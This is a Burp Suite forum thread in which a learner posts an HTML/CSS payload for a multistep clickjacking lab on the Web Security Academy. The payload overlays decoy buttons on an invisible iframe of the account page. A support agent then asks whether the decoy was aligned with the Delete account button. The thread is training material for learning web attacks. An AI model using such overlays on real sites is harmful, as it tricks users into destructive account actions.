Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

Lab not solving: Multistep clickjacking

Ayush | Last updated: Oct 12, 2024 05:41PM UTC

Hi I am trying to solve the lab with the following payload, but its not solving. All the placement is correct. Please help! <style> #far { position:relative; width: 1000px; height: 800px; opacity: 0.000; z-index: 2; } #evil1 { position: absolute; top: 515px; left: 65px; z-index: 1; } #evil2 { position: absolute; top: 310px; left: 200px; z-index: 1; } </style> <body> <div id="evil1">Click me first</div> <div id="evil2">Click me next</div> <iframe id="far" src="https://0a9200be042eb2998313ab6400c90009.web-security-academy.net/my-account"></iframe></body>

Michelle, PortSwigger Agent | Last updated: Oct 15, 2024 01:32PM UTC

Hi When you lined up the text with the buttons, did you line up 'Test me first'/'Click me first' with the Delete account button?

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.